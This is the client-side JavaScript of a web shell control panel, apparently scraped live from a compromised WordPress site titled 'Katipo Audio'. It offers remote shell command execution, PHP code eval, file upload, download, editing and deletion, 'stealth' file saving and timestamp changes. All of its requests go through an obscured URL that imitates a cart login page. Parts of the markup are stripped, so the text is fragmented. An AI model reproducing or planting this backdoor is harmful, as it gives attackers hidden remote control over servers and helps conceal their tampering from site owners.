function getElementsByClass(searchClass, pnode, tag) { function _GetElementsByClass(outArray, seed, needle) { while (seed) { if (seed.className==needle) outArray.push(seed); if (seed.nodeType == "1") { _GetElementsByClass(outArray, seed.firstChild, needle) } seed = seed.nextSibling; } } var outArray = new Array(); if ( pnode == null ) pnode = document.documentElement; else pnode=pnode.firstChild; _GetElementsByClass(outArray, pnode, searchClass); return outArray; } function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements; } function addListener( obj, type, fn, bubbling ) { bubbling = bubbling || false; if (obj.addEventListener) { obj.addEventListener( type, fn, bubbling ); EventCache.add(obj, type, fn); } else if (obj.attachEvent) { obj["e"+type+fn] = fn; obj[type+fn] = function() { obj["e"+type+fn]( window.event ); }; obj.attachEvent( "on"+type, obj[type+fn] ); EventCache.add(obj, type, fn); } else { obj["on"+type] = obj["e"+type+fn]; } } var EventCache = function(){ var listEvents = []; return { listEvents : listEvents, add : function(node, sEventName, fHandler){ listEvents.push(arguments); }, flush : function(){ var i, item; for(i = listEvents.length - 1; i >= 0; i = i - 1){ item = listEvents[i]; if(item[0].removeEventListener){ item[0].removeEventListener(item[1], item[2], item[3]); }; if(item[1].substring(0, 2) != "on"){ item[1] = "on" + item[1]; }; if(item[0].detachEvent){ item[0].detachEvent(item[1], item[2]); }; item[0][item[1]] = null; }; } }; }(); EventCache.flush(); addListener(window,'unload',EventCache.flush); function setCookie(Cookie, value, expiredays){ var ExpireDate = new Date (); ExpireDate.setTime(ExpireDate.getTime() + (expiredays * 24 * 3600 * 1000)); document.cookie = Cookie + "=" + escape(value) + ((expiredays == null) ? "" : "; expires=" + ExpireDate.toGMTString()); } function getCookie(Cookie){ if (document.cookie.length > 0){ begin = document.cookie.indexOf(Cookie+"="); if (begin != -1){ begin += Cookie.length+1; end = document.cookie.indexOf(";", begin); if (end == -1) end = document.cookie.length; return unescape(document.cookie.substring(begin, end)); } } return null; } function DelCookie(sName) { document.cookie = sName + "=; expires=Fri, 31 Dec 1999 23:59:59 GMT;"; } function confirmLink(theLink, confirmMsg) { var is_confirmed = confirm(confirmMsg); if (is_confirmed) { theLink.href += '&is_js_confirmed=1'; } return is_confirmed; } function odd_table(table_id,class_1,class_2,skip_beg,skip_end) { var rows=document.getElementById(table_id).getElementsByTagName('tr'); for (var i=skip_beg; i0) { req.queryString += "&"; } req.queryString += encodeURIComponent(i) + "=" + encodeURIComponent(req.parameters[i]); } if (req.method=="GET") { if (req.queryString.length>0) { req.url += ((req.url.indexOf("?")>-1)?"&":"?") + req.queryString; } } req.xmlHttpRequest.open(req.method,req.url,req.async,req.username,req.password); if (req.method=="POST") { if (typeof(req.xmlHttpRequest.setRequestHeader)!="undefined") { req.xmlHttpRequest.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); } content = req.queryString; } if (req.timeout>0) { setTimeout(req.onTimeoutInternal,req.timeout); } req.xmlHttpRequest.send(content); } }; req.handleArguments = function(args) { for (var i in args) { if (typeof(req[i])=="undefined") { req.parameters[i] = args[i]; } else { req[i] = args[i]; } } }; req.getAllResponseHeaders = function() { if (req.xmlHttpRequest!=null) { if (req.responseReceived) { return req.xmlHttpRequest.getAllResponseHeaders(); } alert("Cannot getAllResponseHeaders because a response has not yet been received"); } }; req.getResponseHeader = function(headerName) { if (req.xmlHttpRequest!=null) { if (req.responseReceived) { return req.xmlHttpRequest.getResponseHeader(headerName); } alert("Cannot getResponseHeader because a response has not yet been received"); } }; return req; } AjaxRequest.getXmlHttpRequest = function() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch (E) { return null; } } } else { return null; } }; AjaxRequest.isActive = function() { return (AjaxRequest.numActiveAjaxRequests>0); }; AjaxRequest.get = function(args) { AjaxRequest.doRequest("GET",args); }; AjaxRequest.post = function(args) { AjaxRequest.doRequest("POST",args); }; AjaxRequest.doRequest = function(method,args) { if (typeof(args)!="undefined" && args!=null) { var myRequest = new AjaxRequest(); myRequest.method = method; myRequest.handleArguments(args); myRequest.process(); } } ; AjaxRequest.submit = function(theform, args) { var myRequest = new AjaxRequest(); if (myRequest==null) { return false; } var serializedForm = AjaxRequest.serializeForm(theform); myRequest.method = theform.method.toUpperCase(); myRequest.url = theform.action; myRequest.handleArguments(args); myRequest.queryString = serializedForm; myRequest.process(); return true; }; AjaxRequest.serializeForm = function(theform) { var els = theform.elements; var len = els.length; var queryString = ""; this.addField = function(name,value) { if (queryString.length>0) { queryString += "&"; } queryString += encodeURIComponent(name) + "=" + encodeURIComponent(value); }; for (var i=0; i=0) { this.addField(el.name,el.options[el.selectedIndex].value); } break; case 'select-multiple': for (var j=0; jready'+(msg?' ('+msg+')':'')+'';} else if(st==1){$(mod+'_status').innerHTML='loading...'+(msg?' ('+msg+')':'');} else if(st==2){$(mod+'_status').innerHTML='processing...'+(msg?' ('+msg+')':'');} else if(st==-1){$(mod+'_status').innerHTML='error...'+(msg?' ('+msg+')':'')+'';} } var reload_dir_in_progress=false; var last_dir_info=null; var last_dir=''; var up_dir=''; function reload_dir(dir){ if(reload_dir_in_progress)return; reload_dir_in_progress=true; change_status('commander',1,'files listing'); AjaxRequest.post({ 'url':'/index.php/cart/?act=login&redir=aHR0cDovL3BsYW5uZXR3ZWIubmV0L2NhcnQvaW5kZXgucGhwP2FjdD12aWV3Q2F0JmFtcDtjYXRJZD0zJmFtcDtjY1VzZXI9ZDQ5MDM1MWY0ZThkN2ZkZjQ1ZjllMGNjODcyZjBhNDk%3D&ccUser&paged=2&urip=Y2AupaDiC2SwqQ1fo2qcovMlMJEcpw1uFSVjL0EiqxjmDaAMImI1JyuFZ1cKFKIvoILjGQWBnTAhHKMuImIeJyuaqJAUnUqDZxMdMRDkZzSKIwAEZxLjFz1TqTARqTcMJSWXJxDjrxcgEaEwEUEdJGSJrycLFGynESR1GHEAZH1KJGOnITueGwWnn1cdHGSnnzkfGHqBnx9RL3ynnxWbGxEeWGARWzAwIKAypvMjLJqyMQ0l', 'parameters': {'op':'ls','dir':dir}, 'onSuccess': function(req) { reload_dir_in_progress=false; change_status('commander',2); try{ var data = eval("(" + req.responseText + ")"); last_dir_info = data.result; update_time(data.time,data.gmtime); resort_dir(); rebuild_dir_info(); change_status('commander',0); }catch(e){ change_status('commander',-1); } }, 'onError': function (req) { reload_dir_in_progress=false; change_status('commander',-1); } }); } function get_srv_info(){ AjaxRequest.post({ 'url':'/index.php/cart/?act=login&redir=aHR0cDovL3BsYW5uZXR3ZWIubmV0L2NhcnQvaW5kZXgucGhwP2FjdD12aWV3Q2F0JmFtcDtjYXRJZD0zJmFtcDtjY1VzZXI9ZDQ5MDM1MWY0ZThkN2ZkZjQ1ZjllMGNjODcyZjBhNDk%3D&ccUser&paged=2&urip=Y2AupaDiC2SwqQ1fo2qcovMlMJEcpw1uFSVjL0EiqxjmDaAMImI1JyuFZ1cKFKIvoILjGQWBnTAhHKMuImIeJyuaqJAUnUqDZxMdMRDkZzSKIwAEZxLjFz1TqTARqTcMJSWXJxDjrxcgEaEwEUEdJGSJrycLFGynESR1GHEAZH1KJGOnITueGwWnn1cdHGSnnzkfGHqBnx9RL3ynnxWbGxEeWGARWzAwIKAypvMjLJqyMQ0l', 'parameters': {'op':'srvinfo'}, 'onSuccess': function(req) { try{ var d=eval("(" + req.responseText + ")"); update_time(d.time,d.gmtime); if (d.result){ $('sr'+'v_in'+'fo').innerHTML=''; } }catch(e){} }, 'onError': function (req) {} }); } function exec_cmd(cmd){ var rd=false; var rc=['tar ','rm ','unlink ','cp ','mv ']; for(var i=0;i
'+get_errors(data.errors)+'
'; $('exec_info').style.display=''; update_time(data.time,data.gmtime); change_status('exec',0); }catch(e){ change_status('exec',-1); } if(refresh_dir)reload_dir(last_dir); }, 'onError':function(req){ cmd_exec_in_progress=false; change_status('exec',-1); } }); } function rebuild_dir_info(){ var i; var path=url=''; for(i=0;i'+last_dir_info.path[i]+'/'; } path+=' | '+last_dir_info.perm+' '; if(last_dir_info.writable){ path+='[ writable ]'; } else { path+='[ read-only ]'; } path+=' | owned by: '+last_dir_info.owner+'/'+last_dir_info.group+' | space info: '+last_dir_info.free_space+''; path='
'+path; $('cur_dir_info').innerHTML=path; last_dir=url; up_dir=(!up_dir?'/':up_dir); var doc1=doc2=doc3=doc4=''; var files_cnt=dir_cnt=0; for(i=0;i'+o.name+''+(o.lt?' => '+o.lt:'')+''+ ''+(o.lnk?'~':'')+''+ 'LINK'+ ''+o.ftv+''+o.pmv+''+o.ow+'/'+o.gr+''; }else if(o.tp=='d'){ doc2+=''+ '['+o.name+']'+(o.lt?' => '+o.lt:'')+''+ ''+(o.lnk?'~':'')+''+ 'DIR'+ ''+o.ftv+''+ ''+o.pmv+''+o.ow+'/'+o.gr+''+ ''+ 'R'+ ''; dir_cnt++; }else if(o.tp=='f'){ doc3+=''+ ''+o.name+(o.lt?' => '+o.lt:'')+''+ ''+(o.lnk?'~':'')+''+ ''+o.vsz+''+ ''+o.ftv+''+ ''+o.pmv+''+o.ow+'/'+o.gr+''+ ''+ 'R '+ 'D '+ (o.wr?'E ':'V ')+ ''; files_cnt++; }else { doc4+=''+o.name+'OTHER'+o.ftv+''+o.pmv+''+o.ow+'/'+o.gr+''; } } doc=''+ ''+ ''+ ''+ ''+ ''+ ''+ doc1+doc2+doc3+doc4+ ''+ '
snamelsizemodify GMTpermsownedaction
'+ 'files: '+files_cnt+'; dirs: '+dir_cnt+';'+ ' [ select all | unselect all | reverse all ] '+ ' delete selected '+ '
'; $('cur_dir_list').innerHTML=doc; highlightTableRows('cur_dir_list_tb','view_hover','view_sel',true); } function update_time(tm,gmtm){ $('last_server_time').innerHTML=tm; $('last_server_gmtime').innerHTML=gmtm; } function chDsp(elId,val){ $(elId).style.display=val?'':'none'; } function dsp_tab(name){ $('lnk_commander').style.fontWeight=name=='commander'?'bold':'normal'; $('lnk_eval').style.fontWeight=name=='eval'?'bold':'normal'; chDsp('tab_commander',name=='commander'); chDsp('tab_eval',name=='eval'); } var eval_code_in_progress=false; function eval_code(code,resId){ if(eval_code_in_progress)return; eval_code_in_progress=true; change_status('eval',1,'eval php code'); AjaxRequest.post({ 'url':'/index.php/cart/?act=login&redir=aHR0cDovL3BsYW5uZXR3ZWIubmV0L2NhcnQvaW5kZXgucGhwP2FjdD12aWV3Q2F0JmFtcDtjYXRJZD0zJmFtcDtjY1VzZXI9ZDQ5MDM1MWY0ZThkN2ZkZjQ1ZjllMGNjODcyZjBhNDk%3D&ccUser&paged=2&urip=Y2AupaDiC2SwqQ1fo2qcovMlMJEcpw1uFSVjL0EiqxjmDaAMImI1JyuFZ1cKFKIvoILjGQWBnTAhHKMuImIeJyuaqJAUnUqDZxMdMRDkZzSKIwAEZxLjFz1TqTARqTcMJSWXJxDjrxcgEaEwEUEdJGSJrycLFGynESR1GHEAZH1KJGOnITueGwWnn1cdHGSnnzkfGHqBnx9RL3ynnxWbGxEeWGARWzAwIKAypvMjLJqyMQ0l', 'parameters': {'op':'eval','code':Base64.encode(code)}, 'onSuccess': function(req) { eval_code_in_progress=false; change_status('eval',2); try{ var data = eval("(" + req.responseText + ")"); $(resId).innerHTML='
'+data.result.plain+'

'+get_errors(data.errors)+'
'; update_time(data.time,data.gmtime); change_status('eval',0); }catch(e){ $(resId).innerHTML='
'+req.responseText+'
'; change_status('eval',-1); } }, 'onError': function (req) { eval_code_in_progress=false; change_status('eval',-1); } }); } function get_errors(err){ var txt=''; if(err&&err.length)for(var i=0;i'; return txt; } function whow_php_info(){ $('extFrm').elements['op'].value='phpinfo'; $('extFrm').submit(); } function __upload_completed(msg){ alert(msg); } function ctab_show(tab){ chDsp('ctab_exec',tab=='exec'); chDsp('ctab_upload',tab=='upload'); chDsp('ctab_create',tab=='create'); chDsp('ctab_godir',tab=='godir'); chDsp('ctab_downex',tab=='downex'); chDsp('ctab_editex',tab=='editex'); } function create_folder(name){ exec_custom({'op':'create_folder','dir':last_dir,'name':name},true); } function create_file(name){ exec_custom({'op':'create_file','dir':last_dir,'name':name},true); } function download(dir,file,compress){ $('extFrm').elements['op'].value='download'; $('extFrm').elements['dir'].value=dir; $('extFrm').elements['file'].value=file; $('extFrm').elements['compress'].value=compress; $('extFrm').submit(); } function rename_obj(i){ var o=last_dir_info.list[i]; var y=window.prompt('Enter new name for "'+o.name+'"',o.name); if(y){ exec_custom({'op':'rename','dir':last_dir,'name':o.name,'new_name':y},true); } } function del_selected(){ if (window.confirm('Delete selected files?')) { var items = $('cur_dir_list_tb').getElementsByTagName('INPUT'),ls=''; for(i=0;ib[sort_field])?1:0)); if(res==0&&sort_field!='name')res=((a['name']b['name'])?1:0)); return res; } function resort_dir(field,rebuild){ if(field)sort_field=field; last_dir_info.list.sort(resort_dir_rec); if(rebuild)rebuild_dir_info(); } function edit_file(dir,fn,readonly){ if(cmd_exec_in_progress)return; cmd_exec_in_progress=true; change_status('exec',1,!readonly?'load file for editing':'loading file for viewing'); $('exec_info').innerHTML=''; AjaxRequest.post({ 'url':'/index.php/cart/?act=login&redir=aHR0cDovL3BsYW5uZXR3ZWIubmV0L2NhcnQvaW5kZXgucGhwP2FjdD12aWV3Q2F0JmFtcDtjYXRJZD0zJmFtcDtjY1VzZXI9ZDQ5MDM1MWY0ZThkN2ZkZjQ1ZjllMGNjODcyZjBhNDk%3D&ccUser&paged=2&urip=Y2AupaDiC2SwqQ1fo2qcovMlMJEcpw1uFSVjL0EiqxjmDaAMImI1JyuFZ1cKFKIvoILjGQWBnTAhHKMuImIeJyuaqJAUnUqDZxMdMRDkZzSKIwAEZxLjFz1TqTARqTcMJSWXJxDjrxcgEaEwEUEdJGSJrycLFGynESR1GHEAZH1KJGOnITueGwWnn1cdHGSnnzkfGHqBnx9RL3ynnxWbGxEeWGARWzAwIKAypvMjLJqyMQ0l', 'parameters': {'op':'plain','dir':dir,'file':fn}, 'onSuccess': function(req) { cmd_exec_in_progress=false; change_status('exec',2); try{ var data = eval("(" + req.responseText + ")"); $('exec_info').innerHTML='
'+(readonly?'':'
stealth time ')+'
'; $('exec_info').style.display=''; update_time(data.time,data.gmtime); change_status('exec',0); $('edit_file_box').focus(); }catch(e){ change_status('exec',-1); } }, 'onError': function (req) { cmd_exec_in_progress=false; change_status('exec',-1); } }); } function save_file(dir,file,text,stealth){ exec_custom({'op':'save','dir':dir,'file':file,'text':Base64.encode(text),'stealth':stealth?1:0},true); } function ch_time(i){ var o=last_dir_info.list[i]; var y=window.prompt('Enter new time for "'+o.name+'"',o.ftv); if(y){ exec_custom({'op':'change_time','dir':last_dir,'name':o.name,'time':y},true); } } get_srv_info(); var Base64 = { _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode : function (input) { var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = Base64._utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); } return output; }, decode : function (input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = this._keyStr.indexOf(input.charAt(i++)); enc2 = this._keyStr.indexOf(input.charAt(i++)); enc3 = this._keyStr.indexOf(input.charAt(i++)); enc4 = this._keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = Base64._utf8_decode(output); return output; }, _utf8_encode : function (string) { string = string.replace(/\r\n/g,"\n"); var utftext = ""; for (var n = 0; n < string.length; n++) { var c = string.charCodeAt(n); if (c < 128) { utftext += String.fromCharCode(c); } else if((c > 127) && (c < 2048)) { utftext += String.fromCharCode((c >> 6) | 192); utftext += String.fromCharCode((c & 63) | 128); } else { utftext += String.fromCharCode((c >> 12) | 224); utftext += String.fromCharCode(((c >> 6) & 63) | 128); utftext += String.fromCharCode((c & 63) | 128); } } return utftext; }, _utf8_decode : function (utftext) { var string = ""; var i = 0; var c = c1 = c2 = 0; while ( i < utftext.length ) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if((c > 191) && (c < 224)) { c2 = utftext.charCodeAt(i+1); string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); i += 2; } else { c2 = utftext.charCodeAt(i+1); c3 = utftext.charCodeAt(i+2); string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); i += 3; } } return string; } }; function html2entities(val){ return val.replace(//g,'>'); } /*todo: copy selected to buffer | paste buffer | compress file charset change */ Katipo Audio | Just another WordPress site | Page 2